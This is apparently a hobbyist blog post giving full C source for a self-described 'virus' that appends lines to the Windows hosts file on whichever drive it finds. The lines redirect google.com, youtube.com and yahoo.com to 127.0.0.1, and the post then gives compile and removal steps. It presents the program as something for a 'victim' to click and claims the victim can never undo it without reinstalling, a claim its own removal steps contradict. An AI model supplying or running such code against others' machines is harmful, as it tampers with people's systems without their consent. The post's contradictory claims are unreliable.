Easy C Virus to Block Any Website (Harmless)

Hi all users, most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus by your own, here I'll explain  how you can do it. Here I’ll use a very common and popular programming language ‘C’ to create this website blocking virus, I choose 'C' because most of you are know to this language and must have coded some program on it.  So lets see how to do it ?

A Brief Introduction to This Virus  :

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE :- You can also block any website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the source code of the virus.

 #include<stdio.h>
#include<dos.h>
#include<dir.h>char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}


How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.- My friend site

Testing :

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.

Enjoy.......